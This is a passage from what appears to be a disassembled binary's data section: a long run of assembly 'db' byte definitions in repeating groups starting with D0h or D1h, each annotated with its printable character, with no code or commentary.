0D0h ; db 0Bh ; db 8Eh ; db 47h ; G db 0D0h ; db 0Bh ; db 8Eh ; db 48h ; H db 0D0h ; db 0Bh ; db 90h ; db 0C8h ; db 0D0h ; db 0Bh ; db 0DEh ; db 81h ; db 0D0h ; db 0Bh ; db 0E8h ; db 0Ah ; db 0D0h ; db 0Bh ; db 0F4h ; db 0Ch ; db 0D0h ; db 0Bh ; db 48h ; H db 0Bh ; db 0D0h ; db 0Bh ; db 48h ; H db 0Ch ; db 0D0h ; db 0Bh ; db 57h ; W db 1 ; db 0D0h ; db 0Ch ; db 64h ; d db 0E9h ; db 0D0h ; db 0Ch ; db 64h ; d db 0EAh ; db 0D0h ; db 80h ; db 6Fh ; o db 0Ah ; db 0D0h ; db 80h ; db 6Fh ; o db 0Bh ; db 0D0h ; db 81h ; db 10h ; db 1 ; db 0D0h ; db 81h ; db 10h ; db 0F5h ; db 0D0h ; db 81h ; db 0FFh ; db 0Ah ; db 0D0h ; db 81h ; db 0FFh ; db 9 ; db 0D0h ; db 82h ; db 50h ; P db 0Ah ; db 0D0h ; db 82h ; db 9 ; db 2 ; db 0D0h ; db 83h ; db 6Bh ; k db 2 ; db 0D0h ; db 83h ; db 0E9h ; db 0Bh ; db 0D0h ; db 83h ; db 0E9h ; db 0Ch ; db 0D0h ; db 83h ; db 19h ; db 2 ; db 0D0h ; db 83h ; db 28h ; ( db 2 ; db 0D0h ; db 83h ; db 2Ah ; * db 10h ; db 0D0h ; db 83h ; db 2Ah ; * db 11h ; db 0D0h ; db 83h ; db 30h ; 0 db 0FEh ; db 0D0h ; db 83h ; db 32h ; 2 db 7 ; db 0D0h ; db 83h ; db 6 ; db 8 ; db 0D0h ; db 83h ; db 6 ; db 9 ; db 0D0h ; db 83h ; db 44h ; D db 0Ah ; db 0D0h ; db 83h ; db 48h ; H db 3 ; db 0D0h ; db 83h ; db 4Ah ; J db 0C2h ; db 0D0h ; db 83h ; db 4Ah ; J db 3 ; db 0D0h ; db 85h ; db 69h ; i db 43h ; C db 0D0h ; db 85h ; db 50h ; P db 2 ; db 0D0h ; db 86h ; db 0B9h ; db 6 ; db 0D0h ; db 86h ; db 0B9h ; db 8 ; db 0D0h ; db 86h ; db 0DFh ; db 7 ; db 0D0h ; db 86h ; db 0F5h ; db 0Ah ; db 0D0h ; db 86h ; db 0F5h ; db 2 ; db 0D0h ; db 87h ; db 81h ; db 1 ; db 0D0h ; db 87h ; db 0A6h ; db 1 ; db 0D0h ; db 89h ; db 0 ; db 0B0h ; db 0D0h ; db 89h ; db 0 ; db 0B1h ; db 0D0h ; db 89h ; db 80h ; db 6 ; db 0D0h ; db 89h ; db 80h ; db 8 ; db 0D0h ; db 89h ; db 2 ; db 7 ; db 0D0h ; db 8Ah ; db 7Dh ; } db 2 ; db 0D0h ; db 8Ah ; db 7Dh ; } db 3 ; db 0D0h ; db 8Ah ; db 82h ; db 10h ; db 0D0h ; db 8Ah ; db 99h ; db 0Bh ; db 0D0h ; db 8Ah ; db 4Eh ; N db 0F0h ; db 0D0h ; db 8Ah ; db 4Eh ; N db 0F1h ; db 0D0h ; db 0Eh ; db 0BFh ; db 0Eh ; db 0D0h ; db 0Eh ; db 0BFh ; db 0Fh ; db 0D0h ; db 0Eh ; db 0D6h ; db 72h ; r db 0D0h ; db 0Eh ; db 0D9h ; db 5 ; db 0D0h ; db 8Ch ; db 0F9h ; db 9 ; db 0D0h ; db 8Ch ; db 63h ; c db 1 ; db 0D0h ; db 8Dh ; db 68h ; h db 41h ; A db 0D0h ; db 8Dh ; db 85h ; db 41h ; A db 0D0h ; db 8Dh ; db 0A0h ; db 1 ; db 0D0h ; db 8Dh ; db 0A3h ; db 45h ; E db 0D0h ; db 8Dh ; db 0CCh ; db 0Ah ; db 0D0h ; db 8Dh ; db 0D4h ; db 3 ; db 0D0h ; db 8Dh ; db 0EAh ; db 1 ; db 0D0h ; db 8Dh ; db 2Eh ; . db 0C8h ; db 0D0h ; db 8Dh ; db 35h ; 5 db 2 ; db 0D0h ; db 8Dh ; db 35h ; 5 db 3 ; db 0D0h ; db 8Dh ; db 42h ; B db 0Ah ; db 0D0h ; db 8Dh ; db 4Fh ; O db 2 ; db 0D0h ; db 8Dh ; db 8 ; db 0Ah ; db 0D0h ; db 8Eh ; db 0F3h ; db 0Ah ; db 0D0h ; db 8Eh ; db 0F4h ; db 11h ; db 0D0h ; db 8Eh ; db 0F4h ; db 2 ; db 0D0h ; db 8Eh ; db 40h ; @ db 1 ; db 0D0h ; db 8Fh ; db 0DEh ; db 28h ; ( db 0D0h ; db 8Fh ; db 0DEh ; db 29h ; ) db 0D0h ; db 8Fh ; db 31h ; 1 db 0Ah ; db 0D0h ; db 8Fh ; db 31h ; 1 db 0Bh ; db 0D0h ; db 90h ; db 0FCh ; db 1Eh ; db 0D0h ; db 90h ; db 0FCh ; db 1Fh ; db 0D0h ; db 91h ; db 0AFh ; db 43h ; C db 0D0h ; db 91h ; db 0AFh ; db 48h ; H db 0D0h ; db 92h ; db 84h ; db 3 ; db 0D0h ; db 92h ; db 84h ; db 4 ; db 0D0h ; db 92h ; db 2Dh ; - db 6Eh ; n db 0D0h ; db 93h ; db 90h ; db 2 ; db 0D0h ; db 93h ; db 9Bh ; db 2 ; db 0D0h ; db 93h ; db 0D5h ; db 1 ; db 0D0h ; db 93h ; db 0D5h ; db 64h ; d db 0D0h ; db 94h ; db 8Ch ; db 81h ; db 0D0h ; db 94h ; db 0BDh ; db 82h ; db 0D0h ; db 95h ; db 0F9h ; db 5 ; db 0D0h ; db 95h ; db 0F9h ; db 6 ; db 0D0h ; db 0Fh ; db 6Dh ; m db 1 ; db 0D0h ; db 0Fh ; db 6Dh ; m db 6 ; db 0D0h ; db 96h ; db 3Ch ; < db 2 ; db 0D0h ; db 97h ; db 0C2h ; db 3 ; db 0D0h ; db 97h ; db 0C4h ; db 0Ah ; db 0D0h ; db 97h ; db 0ECh ; db 2 ; db 0D0h ; db 97h ; db 30h ; 0 db 46h ; F db 0D0h ; db 97h ; db 30h ; 0 db 50h ; P db 0D0h ; db 97h ; db 45h ; E db 41h ; A db 0D0h ; db 99h ; db 0C8h ; db 0FEh ; db 0D0h ; db 99h ; db 0C8h ; db 1Eh ; db 0D0h ; db 99h ; db 4Eh ; N db 5 ; db 0D0h ; db 9Ah ; db 0B3h ; db 3 ; db 0D0h ; db 9Ah ; db 4Ch ; L db 2 ; db 0D0h ; db 9Dh ; db 8 ; db 1 ; db 0D0h ; db 9Fh ; db 3 ; db 5 ; db 0D0h ; db 10h ; db 0AEh ; db 5 ; db 0D0h ; db 0A0h ; db 0D1h ; db 42h ; B db 0D0h ; db 0A0h ; db 0D1h ; db 56h ; V db 0D0h ; db 0A0h ; db 5Eh ; ^ db 22h ; " db 0D0h ; db 0A0h ; db 5Eh ; ^ db 2Ah ; * db 0D0h ; db 0A1h ; db 74h ; t db 1 ; db 0D0h ; db 0A1h ; db 74h ; t db 2 ; db 0D0h ; db 0A1h ; db 78h ; x db 83h ; db 0D0h ; db 0A1h ; db 90h ; db 3 ; db 0D0h ; db 0A1h ; db 9Ch ; db 2 ; db 0D0h ; db 0A1h ; db 9Fh ; db 2 ; db 0D0h ; db 0A1h ; db 0C9h ; db 3 ; db 0D0h ; db 0A1h ; db 0C9h ; db 4 ; db 0D0h ; db 0A1h ; db 0CCh ; db 0DCh ; db 0D0h ; db 0A1h ; db 0CCh ; db 0DDh ; db 0D0h ; db 0A1h ; db 0E1h ; db 1 ; db 0D0h ; db 0A1h ; db 0F0h ; db 0Ah ; db 0D0h ; db 0A1h ; db 20h ; db 11h ; db 0D0h ; db 0A1h ; db 2Ch ; , db 0Bh ; db 0D0h ; db 0A1h ; db 3Ah ; : db 3 ; db 0D0h ; db 0A1h ; db 3Ah ; : db 4 ; db 0D0h ; db 0A1h ; db 45h ; E db 6 ; db 0D0h ; db 0A1h ; db 46h ; F db 14h ; db 0D0h ; db 0A1h ; db 4Fh ; O db 2 ; db 0D0h ; db 0A1h ; db 54h ; T db 14h ; db 0D0h ; db 0A1h ; db 55h ; U db 32h ; 2 db 0D0h ; db 0A2h ; db 77h ; w db 7Dh ; } db 0D0h ; db 0A2h ; db 0DFh ; db 7 ; db 0D0h ; db 0A3h ; db 40h ; @ db 9 ; db 0D0h ; db 0A5h ; db 0C2h ; db 0Bh ; db 0D0h ; db 0A5h ; db 45h ; E db 1 ; db 0D0h ; db 0A5h ; db 4Fh ; O db 2 ; db 0D0h ; db 0A9h ; db 24h ; $ db 0Bh ; db 0D0h ; db 0ABh ; db 0Dh ; db 2 ; db 0D0h ; db 0ABh ; db 89h ; db 0Ah ; db 0D0h ; db 0ABh ; db 89h ; db 14h ; db 0D0h ; db 0ABh ; db 0CBh ; db 1 ; db 0D0h ; db 0ABh ; db 0D8h ; db 2 ; db 0D0h ; db 0ABh ; db 0E9h ; db 5 ; db 0D0h ; db 0ACh ; db 0 ; db 1Fh ; db 0D0h ; db 0B0h ; db 50h ; P db 0F5h ; db 0D0h ; db 0B0h ; db 50h ; P db 0F6h ; db 0D0h ; db 0B2h ; db 8Eh ; db 7 ; db 0D0h ; db 12h ; db 30h ; 0 db 1 ; db 0D0h ; db 12h ; db 30h ; 0 db 2 ; db 0D0h ; db 12h ; db 5Eh ; ^ db 4 ; db 0D0h ; db 0B5h ; db 64h ; d db 0F9h ; db 0D0h ; db 0B5h ; db 64h ; d db 0FDh ; db 0D0h ; db 0B5h ; db 75h ; u db 0FDh ; db 0D0h ; db 0B5h ; db 83h ; db 3 ; db 0D0h ; db 0B5h ; db 83h ; db 4 ; db 0D0h ; db 0B5h ; db 83h ; db 6 ; db 0D0h ; db 0B5h ; db 9Ch ; db 22h ; " db 0D0h ; db 0B5h ; db 9Ch ; db 23h ; # db 0D0h ; db 0B5h ; db 0AAh ; db 2 ; db 0D0h ; db 0B5h ; db 0AEh ; db 0E1h ; db 0D0h ; db 0B5h ; db 0BFh ; db 2 ; db 0D0h ; db 0B5h ; db 0D8h ; db 2 ; db 0D0h ; db 0B5h ; db 2Fh ; / db 1 ; db 0D0h ; db 0B5h ; db 2Fh ; / db 0Ch ; db 0D0h ; db 0B5h ; db 3Bh ; ; db 0Ch ; db 0D0h ; db 0B5h ; db 3Bh ; ; db 0Dh ; db 0D0h ; db 0B5h ; db 3Dh ; = db 1 ; db 0D0h ; db 0B5h ; db 3Dh ; = db 2 ; db 0D0h ; db 0B5h ; db 47h ; G db 1 ; db 0D0h ; db 0B6h ; db 7Ah ; z db 2 ; db 0D0h ; db 0B8h ; db 1 ; db 0A7h ; db 0D0h ; db 0B8h ; db 0BEh ; db 1 ; db 0D0h ; db 0B9h ; db 72h ; r db 0FEh ; db 0D0h ; db 0BDh ; db 68h ; h db 2 ; db 0D0h ; db 0BDh ; db 0D1h ; db 2 ; db 0D0h ; db 0BDh ; db 0D1h ; db 3 ; db 0D0h ; db 13h ; db 6Bh ; k db 0FCh ; db 0D0h ; db 13h ; db 6Bh ; k db 0FDh ; db 0D0h ; db 13h ; db 85h ; db 10h ; db 0D0h ; db 13h ; db 85h ; db 11h ; db 0D0h ; db 0BFh ; db 6Eh ; n db 1 ; db 0D0h ; db 0BFh ; db 19h ; db 14h ; db 0D0h ; db 0BFh ; db 20h ; db 1 ; db 0D0h ; db 0BFh ; db 23h ; # db 3 ; db 0D0h ; db 0BFh ; db 24h ; $ db 24h ; $ db 0D0h ; db 0BFh ; db 2Fh ; / db 3 ; db 0D0h ; db 0BFh ; db 57h ; W db 0Ah ; db 0D0h ; db 0BFh ; db 57h ; W db 0Bh ; db 0D0h ; db 0C1h ; db 0Eh ; db 2 ; db 0D0h ; db 0C2h ; db 0B1h ; db 2 ; db 0D0h ; db 0C3h ; db 0C7h ; db 2 ; db 0D0h ; db 0C5h ; db 74h ; t db 0Ah ; db 0D0h ; db 2 ; db 70h ; p db 2 ; db 0D0h ; db 2 ; db 7Eh ; ~ db 2 ; db 0D0h ; db 2 ; db 4Dh ; M db 0Bh ; db 0D0h ; db 14h ; db 23h ; # db 2 ; db 0D0h ; db 14h ; db 23h ; # db 3 ; db 0D0h ; db 0C9h ; db 0E0h ; db 0Bh ; db 0D0h ; db 0C9h ; db 0E0h ; db 21h ; ! db 0D0h ; db 0CBh ; db 88h ; db 0Ch ; db 0D0h ; db 0CBh ; db 0C9h ; db 2 ; db 0D0h ; db 0CDh ; db 4Eh ; N db 2 ; db 0D0h ; db 0CDh ; db 4Eh ; N db 3 ; db 0D0h ; db 0CFh ; db 43h ; C db 64h ; d db 0D0h ; db 0D0h ; db 2Fh ; / db 6Bh ; k db 0D0h ; db 0D0h ; db 2Fh ; / db 6Ch ; l db 0D0h ; db 15h ; db 0Ah ; db 0Ah ; db 0D0h ; db 15h ; db 70h ; p db 2 ; db 0D0h ; db 15h ; db 0B7h ; db 1 ; db 0D0h ; db 15h ; db 0B7h ; db 2 ; db 0D0h ; db 15h ; db 0B9h ; db 10h ; db 0D0h ; db 15h ; db 0BEh ; db 22h ; " db 0D0h ; db 15h ; db 0BEh ; db 23h ; # db 0D0h ; db 15h ; db 0DDh ; db 0A9h ; db 0D0h ; db 15h ; db 0E7h ; db 0D2h ; db 0D0h ; db 15h ; db 1Bh ; db 5 ; db 0D0h ; db 15h ; db 2Eh ; . db 0Ah ; db 0D0h ; db 15h ; db 37h ; 7 db 19h ; db 0D0h ; db 15h ; db 3Ch ; < db 0Bh ; db 0D0h ; db 0D6h ; db 15h ; db 90h ; db 0D0h ; db 0D9h ; db 0D3h ; db 0Ah ; db 0D0h ; db 16h ; db 0E2h ; db 3Ah ; : db 0D0h ; db 0DCh ; db 0C0h ; db 28h ; ( db 0D0h ; db 0DFh ; db 0A6h ; db 3 ; db 0D0h ; db 0E1h ; db 0E2h ; db 2 ; db 0D0h ; db 0E1h ; db 0EFh ; db 2 ; db 0D0h ; db 0E4h ; db 0E4h ; db 0B9h ; db 0D0h ; db 0E5h ; db 0E6h ; db 0E5h ; db 0D0h ; db 17h ; db 70h ; p db 0Ah ; db 0D0h ; db 17h ; db 70h ; p db 2 ; db 0D0h ; db 17h ; db 76h ; v db 14h ; db 0D0h ; db 17h ; db 76h ; v db 8 ; db 0D0h ; db 17h ; db 90h ; db 2 ; db 0D0h ; db 17h ; db 0D4h ; db 0FDh ; db 0D0h ; db 0E6h ; db 0F4h ; db 1 ; db 0D0h ; db 0E7h ; db 60h ; ` db 0Ch ; db 0D0h ; db 0EBh ; db 0A0h ; db 0Bh ; db 0D0h ; db 0EBh ; db 0A0h ; db 48h ; H db 0D0h ; db 0EBh ; db 0F8h ; db 0Ah ; db 0D0h ; db 0EBh ; db 0F8h ; db 6 ; db 0D0h ; db 0EBh ; db 60h ; ` db 0Ah ; db 0D0h ; db 0ECh ; db 43h ; C db 3 ; db 0D0h ; db 0EDh ; db 23h ; # db 3 ; db 0D0h ; db 0EEh ; db 66h ; f db 2 ; db 0D0h ; db 0EFh ; db 0E2h ; db 15h ; db 0D0h ; db 0EFh ; db 4Eh ; N db 86h ; db 0D0h ; db 0EFh ; db 50h ; P db 2 ; db 0D0h ; db 0F2h ; db 0Ch ; db 3 ; db 0D0h ; db 0F2h ; db 0Eh ; db 3 ; db 0D0h ; db 0F2h ; db 0D0h ; db 8Ah ; db 0D0h ; db 0F2h ; db 25h ; % db 3 ; db 0D0h ; db 0F2h ; db 25h ; % db 4 ; db 0D0h ; db 0F8h ; db 20h ; db 0D2h ; db 0D0h ; db 19h ; db 68h ; h db 7 ; db 0D0h ; db 19h ; db 44h ; D db 5 ; db 0D0h ; db 0FFh ; db 0C8h ; db 9Bh ; db 0D0h ; db 0FFh ; db 0C8h ; db 9Ch ; db 0D0h ; db 1Ah ; db 0CEh ; db 0Ah ; db 0D0h ; db 1Bh ; db 0 ; db 0Ah ; db 0D0h ; db 1Ch ; db 75h ; u db 45h ; E db 0D0h ; db 1Ch ; db 0E8h ; db 0Ah ; db 0D0h ; db 1Ch ; db 22h ; " db 0Ch ; db 0D0h ; db 1Ch ; db 22h ; " db 0Dh ; db 0D0h ; db 1Dh ; db 0C2h ; db 2 ; db 0D0h ; db 3 ; db 58h ; X db 2 ; db 0D0h ; db 3 ; db 58h ; X db 7 ; db 0D0h ; db 1Eh ; db 0BDh ; db 2 ; db 0D0h ; db 1Eh ; db 0BDh ; db 4 ; db 0D0h ; db 1Fh ; db 69h ; i db 73h ; s db 0D0h ; db 1Fh ; db 6Bh ; k db 0Ah ; db 0D0h ; db 1Fh ; db 6Dh ; m db 1 ; db 0D0h ; db 1Fh ; db 7Bh ; { db 2 ; db 0D0h ; db 1Fh ; db 80h ; db 2 ; db 0D0h ; db 1Fh ; db 80h ; db 3 ; db 0D0h ; db 1Fh ; db 8Eh ; db 2 ; db 0D0h ; db 1Fh ; db 9Ch ; db 2 ; db 0D0h ; db 1Fh ; db 0A0h ; db 1 ; db 0D0h ; db 1Fh ; db 0A0h ; db 2 ; db 0D0h ; db 1Fh ; db 0A3h ; db 5 ; db 0D0h ; db 1Fh ; db 0AEh ; db 2 ; db 0D0h ; db 1Fh ; db 0B0h ; db 0FEh ; db 0D0h ; db 1Fh ; db 0B7h ; db 2 ; db 0D0h ; db 1Fh ; db 0D6h ; db 4 ; db 0D0h ; db 1Fh ; db 0FEh ; db 5 ; db 0D0h ; db 1Fh ; db 0FEh ; db 7 ; db 0D0h ; db 1Fh ; db 32h ; 2 db 35h ; 5 db 0D0h ; db 1Fh ; db 42h ; B db 2 ; db 0D0h ; db 1Fh ; db 5Bh ; [ db 64h ; d db 0D0h ; db 1Fh ; db 63h ; c db 3 ; db 0D0h ; db 21h ; ! db 0CBh ; db 0Ah ; db 0D0h ; db 21h ; ! db 0CBh ; db 0Bh ; db 0D0h ; db 21h ; ! db 1Dh ; db 2 ; db 0D0h ; db 21h ; ! db 1Dh ; db 3 ; db 0D0h ; db 22h ; " db 43h ; C db 2 ; db 0D0h ; db 22h ; " db 5Bh ; [ db 3 ; db 0D0h ; db 23h ; # db 0C9h ; db 2 ; db 0D0h ; db 23h ; # db 0C9h ; db 3 ; db 0D0h ; db 4 ; db 3Ch ; < db 5 ; db 0D0h ; db 2Ch ; , db 86h ; db 19h ; db 0D0h ; db 2Dh ; - db 90h ; db 19h ; db 0D0h ; db 2Dh ; - db 92h ; db 19h ; db 0D0h ; db 2Eh ; . db 71h ; q db 0C2h ; db 0D0h ; db 32h ; 2 db 37h ; 7 db 0Bh ; db 0D0h ; db 33h ; 3 db 0 ; db 2Fh ; / db 0D0h ; db 33h ; 3 db 0 ; db 51h ; Q db 0D0h ; db 33h ; 3 db 68h ; h db 82h ; db 0D0h ; db 33h ; 3 db 0F8h ; db 0Ch ; db 0D0h ; db 33h ; 3 db 8 ; db 2 ; db 0D0h ; db 33h ; 3 db 8 ; db 3 ; db 0D0h ; db 37h ; 7 db 5Bh ; [ db 32h ; 2 db 0D0h ; db 37h ; 7 db 5Bh ; [ db 33h ; 3 db 0D0h ; db 39h ; 9 db 0 ; db 0Ah ; db 0D0h ; db 39h ; 9 db 0 ; db 0Bh ; db 0D0h ; db 39h ; 9 db 62h ; b db 12h ; db 0D0h ; db 3Bh ; ; db 0C7h ; db 7 ; db 0D0h ; db 3Bh ; ; db 0C7h ; db 8 ; db 0D0h ; db 6 ; db 0E8h ; db 0Ah ; db 0D0h ; db 6 ; db 0E8h ; db 0Ch ; db 0D0h ; db 6 ; db 0E9h ; db 0Ah ; db 0D0h ; db 6 ; db 0EEh ; db 3 ; db 0D0h ; db 6 ; db 0EEh ; db 6 ; db 0D0h ; db 3Dh ; = db 0C0h ; db 6 ; db 0D0h ; db 3Dh ; = db 0E3h ; db 0Ah ; db 0D0h ; db 3Eh ; > db 0A5h ; db 9 ; db 0D0h ; db 7 ; db 4Fh ; O db 2 ; db 0D0h ; db 7 ; db 4Fh ; O db 4 ; db 0D1h ; db 1 ; db 0Ah ; db 0EAh ; db 0D1h ; db 1 ; db 7Dh ; } db 0Ah ; db 0D1h ; db 1 ; db 0Dh ; db 64h ; d db 0D1h ; db 1 ; db 0DDh ; db 0Ah ; db 0D1h ; db 1 ; db 0DEh ; db 0F4h ; db 0D1h ; db 1 ; db 0DEh ; db 0F5h ; db 0D1h ; db 1 ; db 0DEh ; db 0F6h ; db 0D1h ; db 1 ; db 0DEh ; db 0F7h ; db 0D1h ; db 1 ; db 17h ; db 0C4h ; db 0D1h ; db 1 ; db 0EBh ; db 78h ; x db 0D1h ; db 1 ; db 1Ch ; db 23h ; # db 0D1h ; db 1 ; db 1Ch ; db 2Bh ; + db 0D1h ; db 1 ; db 1Ch ; db 2Eh ; . db 0D1h ; db 1 ; db 39h ; 9 db 32h ; 2 db 0D1h ; db 1 ; db 63h ; c db 64h ; d db 0D1h ; db 0Ah ; db 0C6h ; db 44h ; D db 0D1h ; db 0Ah ; db 22h ; " db 37h ; 7 db 0D1h ; db 0Ah ; db 42h ; B db 37h ; 7 db 0D1h ; db 64h ; d db 64h ; d db 12h ; db 0D1h ; db 64h ; d db 64h ; d db 22h ; " db 0D1h ; db 64h ; d db 0ABh ; db 1 ; db 0D1h ; db 65h ; e db 77h ; w db 0ADh ; db 0D1h ; db 65h ; e db 82h ; db 4 ; db 0D1h ; db 65h ; e db 82h ; db 5 ; db 0D1h ; db 65h ; e db 0A4h ; db 2 ; db 0D1h ; db 65h ; e db 11h ; db 0FEh ; db 0D1h ; db 65h ; e db 0C0h ; db 9Eh ; db 0D1h ; db 65h ; e db 0C0h ; db 2 ; db 0D1h ; db 65h ; e db 53h ; S db 1 ; db 0D1h ; db 65h ; e db 53h ; S db 2 ; db 0D1h ; db 69h ; i db 24h ; $ db 2 ; db 0D1h ; db 71h ; q db 0C8h ; db 2 ; db 0D1h ; db 71h ; q db 0C8h ; db 3 ; db 0D1h ; db 73h ; s db 98h ; db 82h ; db 0D1h ; db 73h ; s db 98h ; db 96h ; db 0D1h ; db 73h ; s db 5Dh ; ] db 1Ah ; db 0D1h ; db 74h ; t db 68h ; h db 2 ; db 0D1h ; db 77h ; w db 5Ch ; \ db 0Ah ; db 0D1h ; db 0Ch ; db 20h ; db 6Ah ; j db 0D1h ; db 0Ch ; db 21h ; ! db 87h ; db 0D1h ; db 0Ch ; db 9 ; db 0Bh ; db 0D1h ; db 0Ch ; db 9 ; db 0Eh ; db 0D1h ; db 7Ch ; | db 2 ; db 2 ; db 0D1h ; db 7Ch ; | db 0CBh ; db 0Ch ; db 0D1h ; db 7Ch ; | db 0CBh ; db 0Dh ; db 0D1h ; db 7Eh ; ~ db 0 ; db 1 ; db 0D1h ; db 7Fh ;  db 0 ; db 12h ; db 0D1h ; db 7Fh ;  db 0 ; db 13h ; db 0D1h ; db 7Fh ;  db 81h ; db 0F3h ; db 0D1h ; db 7Fh ;  db 81h ; db 0F5h ; db 0D1h ; db 80h ; db 1 ; db 4 ; db 0D1h ; db 80h ; db 0E0h ; db 2 ; db 0D1h ; db 80h ; db 0E8h ; db 2 ; db 0D1h ; db 81h ; db 80h ; db 3 ; db 0D1h ; db 82h ; db 0BBh ; db 0Ah ; db 0D1h ; db 82h ; db 20h ; db 3Fh ; ? db 0D1h ; db 83h ; db 0D8h ; db 0C9h ; db 0D1h ; db 83h ; db 0D8h ; db 0CAh ; db 0D1h ; db 83h ; db 0E0h ; db 1Eh ; db 0D1h ; db 83h ; db 0E0h ; db 1Fh ; db 0D1h ; db 83h ; db 20h ; db 0Fh ; db 0D1h ; db 83h ; db 20h ; db 10h ; db 0D1h ; db 83h ; db 60h ; ` db 0D1h ; db 0D1h ; db 83h ; db 61h ; a db 0Bh ; db 0D1h ; db 85h ; db 0C0h ; db 2 ; db 0D1h ; db 85h ; db 15h ; db 0Ah ; db 0D1h ; db 86h ; db 0A1h ; db 0Ah ; db 0D1h ; db 87h ; db 63h ; c db 2 ; db 0D1h ; db 87h ; db 63h ; c db 3 ; db 0D1h ; db 89h ; db 9Dh ; db 9 ; db 0D1h ; db 8Ch ; db 0E0h ; db 2 ; db 0D1h ; db 8Ch ; db 0E0h ; db 5 ; db 0D1h ; db 8Ch ; db 0E0h ; db 6 ; db 0D1h ; db 8Dh ; db 6Bh ; k db 3 ; db 0D1h ; db 8Dh ; db 6Bh ; k db 4 ; db 0D1h ; db 8Dh ; db 0DDh ; db 8 ; db 0D1h ; db 8Dh ; db 0E4h ; db 2 ; db 0D1h ; db 8Dh ; db 0E4h ; db 3 ; db 0D1h ; db 8Dh ; db 0F8h ; db 14h ; db 0D1h ; db 8Dh ; db 0FCh ; db 3 ; db 0D1h ; db 8Dh ; db 4 ; db 4 ; db 0D1h ; db 8Dh ; db 30h ; 0 db 1 ; db 0D1h ; db 8Dh ; db 55h ; U db 0FAh ; db 0D1h ; db 8Dh ; db 55h ; U db 0FEh ; db 0D1h ; db 8Dh ; db 63h ; c db 2 ; db 0D1h ; db 8Fh ; db 0 ; db 0Ah ; db 0D1h ; db 8Fh ; db 0C1h ; db 50h ; P db 0D1h ; db 0Fh ; db 2 ; db 1 ; db 0D1h ; db 0Fh ; db 2 ; db 2 ; db 0D1h ; db 96h ; db 80h ; db 1Eh ; db 0D1h ; db 96h ; db 81h ; db 3 ; db 0D1h ; db 96h ; db 0A0h ; db 28h ; ( db 0D1h ; db 96h ; db 0A0h ; db 2Ah ; * db 0D1h ; db 97h ; db 0 ; db 0Ah ; db 0D1h ; db 97h ; db 81h ; db 1 ; db 0D1h ; db 97h ; db 81h ; db 8Eh ; db 0D1h ; db 97h ; db 0A0h ; db 33h ; 3 db 0D1h ; db 97h ; db 0A0h ; db 34h ; 4 db 0D1h ; db 97h ; db 0C0h ; db 0Ah ; db 0D1h ; db 97h ; db 0C1h ; db 0Ah ; db 0D1h ; db 97h ; db 0E0h ; db 3Eh ; > db 0D1h ; db 97h ; db 0E8h ; db 3Eh ; > db 0D1h ; db 9Ah ; db 0C6h ; db 52h ; R db 0D1h ; db 9Ah ; db 0C6h ; db 56h ; V db 0D1h ; db 9Ch ; db 15h ; db 35h ; 5 db 0D1h ; db 9Dh ; db 66h ; f db 0Bh ; db 0D1h ; db 10h ; db 0D3h ; db 2Ah ; * db 0D1h ; db 0A0h ; db 0 ; db 2 ; db 0D1h ; db 0A0h ; db 3 ; db 5 ; db 0D1h ; db 0A0h ; db 7 ; db 2 ; db 0D1h ; db 0A1h ; db 0A0h ; db 12h ; db 0D1h ; db 0A1h ; db 0A0h ; db 14h ; db 0D1h ; db 0A1h ; db 0AFh ; db 1Dh ; db 0D1h ; db 0A1h ; db 0AFh ; db 2Ch ; , db 0D1h ; db 0A6h ; db 0A0h ; db 84h ; db 0D1h ; db 0A6h ; db 0A0h ; db 24h ; $ db 0D1h ; db 0A6h ; db 0A0h ; db 2Dh ; - db 0D1h ; db 0A6h ; db 0A0h ; db 2Eh ; . db 0D1h ; db 0A6h ; db 0C2h ; db 2 ; db 0D1h ; db 0A6h ; db 0C2h ; db 3 ; db 0D1h ; db 0A6h ; db 40h ; @ db 3 ; db 0D1h ; db 0A6h ; db 41h ; A db 1 ; db 0D1h ; db 0A7h ; db 77h ; w db 0Dh ; db 0D1h ; db 0A7h ; db 0BCh ; db 0Ah ; db 0D1h ; db 11h ; db 0C5h ; db 12h ; db 0D1h ; db 11h ; db 0C5h ; db 2 ; db 0D1h ; db 0AAh ; db 0D8h ; db 2 ; db 0D1h ; db 0AAh ; db 0D8h ; db 3 ; db 0D1h ; db 0AAh ; db 0D8h ; db 9 ; db 0D1h ; db 0ABh ; db 30h ; 0 db 0Eh ; db 0D1h ; db 0ABh ; db 35h ; 5 db 1Ch ; db 0D1h ; db 0ABh ; db 35h ; 5 db 1Dh ; db 0D1h ; db 0ABh ; db 36h ; 6 db 0Ah ; db 0D1h ; db 0ABh ; db 36h ; 6 db 0Bh ; db 0D1h ; db 0ABh ; db 3Ah ; : db 0Ah ; db 0D1h ; db 0ABh ; db 3Ah ; : db 0Ch ; db 0D1h ; db 0ABh ; db 9 ; db 83h ; db 0D1h ; db 0ACh ; db 0C0h ; db 2 ; db 0D1h ; db 0ACh ; db 0C0h ; db 16h ; db 0D1h ; db 0ACh ; db 0C0h ; db 17h ; db 0D1h ; db 0ACh ; db 0C0h ; db 19h ; db 0D1h ; db 0ACh ; db 0C0h ; db 1Ah ; db 0D1h ; db 0ACh ; db 0C2h ; db 2 ; db 0D1h ; db 0B3h ; db 0B3h ; db 12h ; db 0D1h ; db 12h ; db 0EEh ; db 1 ; db 0D1h ; db 0B4h ; db 0E6h ; db 0BDh ; db 0D1h ; db 0B4h ; db 0E6h ; db 0FEh ; db 0D1h ; db 0B5h ; db 31h ; 1 db 5 ; db 0D1h ; db 0B5h ; db 3Fh ; ? db 1 ; db 0D1h ; db 0B5h ; db 3Fh ; ? db 7 ; db 0D1h ; db 0B6h ; db 80h ; db 5 ; db 0D1h ; db 0B6h ; db 0C3h ; db 4Dh ; M db 0D1h ; db 0B6h ; db 20h ; db 0Ah ; db 0D1h ; db 0B8h ; db 6Eh ; n db 0Ch ; db 0D1h ; db 0B8h ; db 6Eh ; n db 10h ; db 0D1h ; db 0B8h ; db 0C0h ; db 19h ; db 0D1h ; db 0B9h ; db 82h ; db 44h ; D db 0D1h ; db 0B9h ; db 0A2h ; db 0Fh ; db 0D1h ; db 0B9h ; db 0A2h ; db 10h ; db 0D1h ; db 0BCh ; db 60h ; ` db 2 ; db 0D1h ; db 0BCh ; db 60h ; ` db 3 ; db 0D1h ; db 0BFh ; db 0 ; db 1 ; db 0D1h ; db 0BFh ; db 0 ; db 2 ; db 0D1h ; db 0BFh ; db 76h ; v db 3 ; db 0D1h ; db 0BFh ; db 76h ; v db 4 ; db 0D1h ; db 0BFh ; db 81h ; db 41h ; A db 0D1h ; db 0BFh ; db 0A2h 